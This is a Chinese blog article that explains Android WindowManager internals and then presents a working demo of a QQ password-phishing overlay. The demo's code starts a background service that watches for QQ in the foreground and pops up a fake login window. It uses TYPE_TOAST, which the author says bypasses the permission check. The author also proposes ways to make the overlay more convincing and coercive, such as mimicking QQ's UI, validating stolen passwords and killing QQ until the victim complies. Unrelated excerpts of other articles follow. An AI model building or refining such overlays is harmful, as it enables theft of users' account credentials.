通过案例分析Android WindowManager解析与骗取QQ密码的过程

Windows Manager是一款窗口管理终端,可以远程连接到Linux的X桌面进行管理,与服务器端产生一个session相互通信。

最近在网上看见一个人在乌云上提了一个漏洞,应用可以开启一个后台Service,检测当前顶部应用,如果为QQ或相关应用,就弹出一个自定义window用来诱骗用户输入账号密码,挺感兴趣的,总结相关知识写了一个demo,界面如下(界面粗糙,应该没人会上当吧,意思到了就行哈=, =):

Window&&WindowManager介绍

  分析demo之前,先要整理总结一下相关的知识。先看看Window类,Window是一个抽象类,位于代码树frameworks\u0008asecorejavaandroidviewWindowjava.Java文件。连同注释,这个文件总共一千多行,它概括了Android窗口的基本属性和基本功能。唯一实现了这个抽象类的是PhoneWindow,实例化PhoneWindow需要一个窗口,只需要通过WindowManager即可完成,Window类的具体实现位于WindowManagerService中,WindowManager和WindowManagerService的交互是一个IPC过程。Android中的所有视图都是通过Window来呈现的,不管是Activity,Dialog还是Toast,他们的视图实际上都是附加在Window上的,因此Window实际上是View的直接管理者,点击事件也是由Window传递给view的。WindowManager.LayoutParams.type参数表示window的类型,共有三种类型,分别是应用Window,子Window和系统Window。应用Window对应着一个Activity,类似Dialog之类的子Window不能单独存在,他需要附属在应用Window上才可以,系统Window则不需要,比如Toast之类,可以直接显示。每个Window都有对应的z-orderd,层级大的window会覆盖在层级小的window之上,应用window的层级范围是1~99,子window的范围是1000~1999,系统window的范围是2000~2999,这些层级范围都对应着相关的type,type的相关取值:官网链接和中文资料。WindowManager.LayoutParams.flags参数表示window的属性,默认为none,flags的相关取值:官方链接,还有其他的LayoutParams变量名称和取值可以参考WindowManager.LayoutParams(上) 和WindowManager.LayoutParams(下) 两篇译文博客,很详细。

  再详细分析一下WindowManager,WindowManager主要用来管理窗口的一些状态、属性、view增加、删除、更新、窗口顺序、消息收集和处理等。通过代码Context.getSystemService(Context.WINDOW_SERVICE)可以获得WindowManager的实例。WindowManager所提供的功能很简单,常用的只有三个方法,即添加View、更新View和删除View,这三个方法定义在ViewManager中,而WindowManager继承了ViewManager,

addView();
updateViewLayout();
removeView();

  这些函数是用来修改Window的,它的真正实现是WindowManagerImpl类,WindowManagerImpl类并没有直接实现Window的三大操作,而是全部交给了WindowManagerGlobal来处理,WindowManagerGlobal以工厂的形式向外提供自己的实例,在WindowManagerGlobal中有如下一段代码:private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()。WindowManagerImpl这种工作模式是典型的桥接模式(不是装饰者模式:区别在这),将所有的操作全部委托给WindowManagerGlobal来实现。

  View是Android中视图的呈现方式,但是View不能单独存在,他必须要附着在Window这个抽象的概念上面,每一个Window都对应着一个View和一个ViewRootImpl,Window和View通过ViewRootImpl来建立联系,因此有视图的地方就有Window,比如常见的Activity,Dialog,Toast等。

  对于每个activity只有一个decorView也就是ViewRoot,window是通过下面方法获取的
  Window mWindow = PolicyManager.makeNewWindow(this);

创建完Window之后,Activity会为该Window设置回调,Window接收到外界状态改变时就会回调到Activity中。在activity中会调用setContentView()函数,它是调用 window.setContentView()完成的,而Window的具体实现是PhoneWindow,所以最终的具体操作是在PhoneWindow中,PhoneWindow的setContentView方法第一步会检测DecorView是否存在,如果不存在,就会调用generateDecor函数直接创建一个DecorView;第二步就是将Activity的视图添加到DecorView的mContentParent中;第三步是回调Activity中的onContentChanged方法通知Activity视图已经发生改变。这些步骤完成之后,DecorView还没有被WindowManager正式添加到Window中,最后调用Activity的onResume方法中的makeVisible方法才能真正地完成添加和现实过程,Activity的视图才能被用户看到。

  Dialog的Window的创建过程和Activity类似,第一步也是用过PolicyManager.makeNewWindow方法来创建一个Window,不过这里传入的context必须要为activity的context;第二步也是通过setContentView函数去设置dialog的布局视图;第三步调用show方法,通过WindowManager将DecorView添加到Window中显示出来。

  Toast和Dialog不同,它稍微复杂一点,首先Toast也是基于Window来实现的,但是由于Toast具有定时取消的这一个功能,所以系统采用了Handler。在Toast的内部有两类IPC过程,第一类是Toast访问NotificationManagerService,第二类是NotificationManagerService回调Toast里的TN接口。在Toast类中,最重要的用于显示该toast的show方法调用了service.enqueueToast(pkg, tn, mDuration);也就是说系统为我们维持了一个toast队列,这也是为什么两个toast不会同时显示的原因,该方法将一个toast入队,显示则由 系统维持显示的时机。

private static INotificationManager sService;
static private INotificationManager getService() {
if (sService != null) {
return sService;
}
sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));
return sService;
}

该服务sService就是系统用于维护toast的服务。最后NMS会通过IPC调用Toast类内部的一个静态私有类TN,该类是toast的主要实现,该类完成了toast视图的创建,显示和隐藏。

骗取QQ密码实例

  有了上面的基础之后,这个例子其实就非常简单了。

  第一步编写一个Service并且在Service中弹出一个自定义的Window:

windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_TOAST;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
@Override
public void backCallback() {
if (v!=null && v.isAttachedToWindow())
L.e("remove view ");
windowManager.removeViewImmediate(v);
}
});
btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
} else {
et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
}
et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
0 : et_pwd.getText().length());
}
});
//useless
// v.setOnKeyListener(new View.OnKeyListener() {
// @Override
// public boolean onKey(View v, int keyCode, KeyEvent event) {
// Log.e("zhao", keyCode+"");
// if (keyCode == KeyEvent.KEYCODE_BACK) {
// windowManager.removeViewImmediate(v);
// return true;
// }
// return false;
// }
// });
//点击外部消失
v.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View view, MotionEvent event) {
Rect temp = new Rect();
view.getGlobalVisibleRect(temp);
L.e("remove view ");
if (temp.contains((int)(event.getX()), (int)(event.getY()))){
windowManager.removeViewImmediate(v);
return true;
}
return false;
}
});
btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);

  这里有几点需要说明一下,第一个是type使用TYPE_TOAST而不是用TYPE_SYSTEM_ERROR是可以绕过权限的,这个是在知乎上看见有人说的一个漏洞,哈哈;第二个是因为有Edittext,所以softInputMode需要设置为SOFT_INPUT_ADJUST_PAN,要不然软键盘会覆盖Window;第三个是返回键的监听,setOnKeyListener是不好用的,最后只能复写view类的dispatchKeyEvent函数来实现按键监听了;第四个是点击外部消失的操作,看代码就会明白了。

  实现了弹出框的弹出之后,接着就要设置一个实时监听,开启一个线程,每隔几秒去监听用户正在操作的应用是否是QQ,这个就简单多了,使用ActivityManager就可以了:

new Thread(new Runnable() {
@Override
public void run() {
while (isRunning){
L.e("running");
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
ActivityManager activityManager = (ActivityManager)
getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> list =
activityManager.getRunningAppProcesses();
if (list.get(0).processName.equals("com.tencent.mobileqq")){
myHandler.sendEmptyMessage(1);
}
}
}
}).start();

  这样效果就差不多了,最后在Activity中启动该Service即可,当然这个还有很多改进的余地:

   1. 修改UI,使之更加的和QQ风格相似。

   2. 用户输入完账号和密码之后,可以addView一个loadingDialog,接着调用相关接口去验证用户名和密码的正确性,不正确提示用户重新输入。

   3. 如果用户不输入账号和密码,直接调用killBackgrondProcess函数(需要权限),强硬的把QQ关闭,直到用户输入账号和密码。

以上通过案例分析Android WindowManager解析与骗取QQ密码的过程,希望本文分享对大家有所帮助。

时间: 2016-01-09

Android使用WindowManager构造悬浮view

一般在android显示一个View都是通过Activity的setContentView设置的,但是还有一种方法,可以直接使用WindowManager在整个应用的最上层绘制我们需要显示的view,总体的效果类似于AlertDialog的弹出效果. 使用WindowManager构造这样的一个悬浮View也比较简单,直接通过windowmanager.addView()方法即可. package com.gearmotion.app.windowmanagermotion; import an

在当前Activity之上创建悬浮view之WindowManager悬浮窗效果

最近有学生做毕业设计,想使用悬浮窗这种效果,其实很简单,我们可以通过系统服务WindowManager来实现此功能,本章我们来试验一下在当前Activity之上创建一个悬浮的view. 第一步:认识WindowManager 这个接口用于与 window manager (窗口管理器, 应用框架层) 进行交互. 通过getSystemService(Context.WINDOW_SERVICE)可以获取到WM的实例. 继承关系 public interface WindowManager imp

Android利用WindowManager生成悬浮按钮及悬浮菜单

简介 本文模仿实现的是360手机卫士基础效果,同时后续会补充一些WindowManager的原理知识. 整体思路 360手机卫士的内存球其实就是一个没有画面的应用程序,整个应用程序的主体是一个Service.我们的程序开始以后,启动一个service,同时关闭activity即可: public class MainActivity extends Activity { private static final String TAG = MainActivity.class.getSimpleN

深入理解Android中的Window和WindowManager

Window表示一个窗口的概念,Window是一个抽象类,它的具体实现是PhoneWindow.创建一个Window,需要通过WindowManager即可完成,WindowManager是外界访问Window的入口,Window具体实现位于WindowManagerService中,WindowManager和WindowManagerService的交互是一个IPC的过程.Android中,所有的视图都是通过Window来呈现,不管是Activity.Dialog.还是Toast,它们的视图

Android使用WindowManager制作一个可拖动的控件

效果图如下 第一步:新建DragView继承RelativeLayout package com.rong.activity; import com.rong.test.R; import android.content.Context; import android.graphics.Color; import android.graphics.PixelFormat; import android.util.AttributeSet; import android.view.Gravity;

WindowManagerService服务是如何以堆栈的形式来组织窗口

我们知道,在Android系统中,Activity是以堆栈的形式组织在ActivityManagerService服务中的.与Activity类似,Android系统中的窗口也是以堆栈的形式组织在WindowManagerService服务中的,其中,Z轴位置较低的窗口位于Z轴位置较高的窗口的下面.在本文中,我们就详细分析WindowManagerService服务是如何以堆栈的形式来组织窗口的. 从前面Android应用程序启动过程源代码分析一文可以知道,应用程序进程中的每一个Activity

百度工程师讲PHP函数的实现原理及性能分析(一)

前言 在任何语言中,函数都是最基本的组成单元.对于php的函数,它具有哪些特点?函数调用是怎么实现的?php函数的性能如何,有什么使用建议?本文将从原理出发进行分析结合实际的性能测试尝试对这些问题进行回答,在了解实现的同时更好的编写php程序.同时也会对一些常见的php函数进行介绍. php函数的分类 在php中,横向划分的话,函数分为两大类: user function(内置函数) 和internal function(内置函数).前者就是用户在程序中自定义的一些函数和方法,后者则是php本身

vue中七牛插件使用的实例代码

本文介绍了vue中七牛插件使用,我也正在学习,分享给大家,顺便留个笔记,废话不说了,如下: <template> <div id="cxUpload" class="cx-upload"> <button id="pickfiles" class="uploadBtn">上传</button> </div> </template> <script&g

浅谈七种常见的Hadoop和Spark项目案例

有一句古老的格言是这样说的,如果你向某人提供你的全部支持和金融支持去做一些不同的和创新的事情,他们最终却会做别人正在做的事情.如比较火爆的Hadoop.Spark和Storm,每个人都认为他们正在做一些与这些新的大数据技术相关的事情,但它不需要很长的时间遇到相同的模式.具体的实施可能有所不同,但根据我的经验,它们是最常见的七种项目. 项目一:数据整合 称之为"企业级数据中心"或"数据湖",这个想法是你有不同的数据源,你想对它们进行数据分析.这类项目包括从所有来源获得

详解ASP.NET 页面之间传值的几种方式

开篇概述 对于任何一个初学者来说,页面之间传值可谓是必经之路,却又是他们的难点.其实,对大部分高手来说,未必不是难点. 回想2016年面试的将近300人中,有实习生,有应届毕业生,有1-3年经验的,有3-5年经验的,有5-10年经验的,对于所有的面试者,我几乎问了同一道题:"请说说你所知道的页面之间传值的几种形式和方法,并阐述他们的原理和过程",关于这道题,从大家的回答来看,结果并不是很理想,从种类上来说,大部分人回答5种左右,极少部分能回答8种,没有超过8种的,但从深度上来说,很少有

解析利用wsdl.exe生成webservice代理类的详解

利用wsdl.exe生成webservice代理类:根据提供的wsdl生成webservice代理类1.开始->程序->Visual Studio 2005 命令提示2.输入如下红色标记部分D:/Program Files/Microsoft Visual Studio 8/VC>wsdl /language:c# /n:TestDemo /out:d:/Temp/TestService.cs D:/Temp/TestService.wsdl在d:/Temp下就会产生一个TestServ

Laravel中前端js上传图片到七牛云的示例代码

以下Laravel中使用浏览器端上传图片到七牛云,下面只是做一些简单的流程实例. 1. 首先引入相应的js文件,下面是通过CDN引入的StaticfileCDN,当然也有其他很多方式下载, bower,git,官网的SDK 七牛js基于Plupload插件封装,所以需要下载Plupload,建议使用 2.1.1 ~ 2.1.9. <script src="https://cdn.staticfile.org/jquery/2.2.1/jquery.min.js"></

Android Splash界面白屏、黑屏问题的解决方法

前言 我相信很多Android开发同学都遇到过这样的需求: 1.实现一个Splash界面,界面上有应用相关的背景图片和一个开始按钮.  2.点击按钮之后进入主页,以后用户再打开应用就不显示这个Splash界面了. 也相信很多同学都遇到了这样的困惑:  •第二次进入应用,尽管你在Splash界面已经直接跳转到首页了,但是还是有个白屏或者黑屏或者带ActionBar的白屏闪现一下. 如果你也遇到这个问题,那就继续阅读这篇文章,我带大家去分析和解决这个问题. 解决方案 这里我们先给出解决方案,然后再具

跨域传值即主页面与iframe之间互相传值

需求一:主页面A 怎么向 iframe B 传递数据呢? 这种方式,是主页面需要给 iframe B 传递数据,然后 iframe B 获得到数据后进行特定的处理 实现方式 实现的技巧就是利用 location 对象的 hash 值,通过它传递通信数据,我们只需要在主页面A中设置 iframe B 的 src 后面多加个 #data 字符串(data就是你要传递的数据),如下图所示: 然后在 iframe B 中通过某种方式能即时的获取到这儿 data 就可以了,其实常用的一种方式就是: 1.

linux rsync安装 配置 实例详解

Redhat中安装rsync 1.  首先在服务端和客户端都安装rsync,我的RHEL5默认已经安装好了.在安装RedHat5的时候,可以在软件定制中的"基本系统"-->"基本"的"可选的软件包"中看见:rsync-2.6.8是默认选择安装的 2.    也可以通过命令行检查是否安装: 或者:rpm –q rsync 3.  如果在开始安装RedHat的时候,使用默认选择的rysnc软件,但现在想用更高版本的rsync,可以卸载掉rysn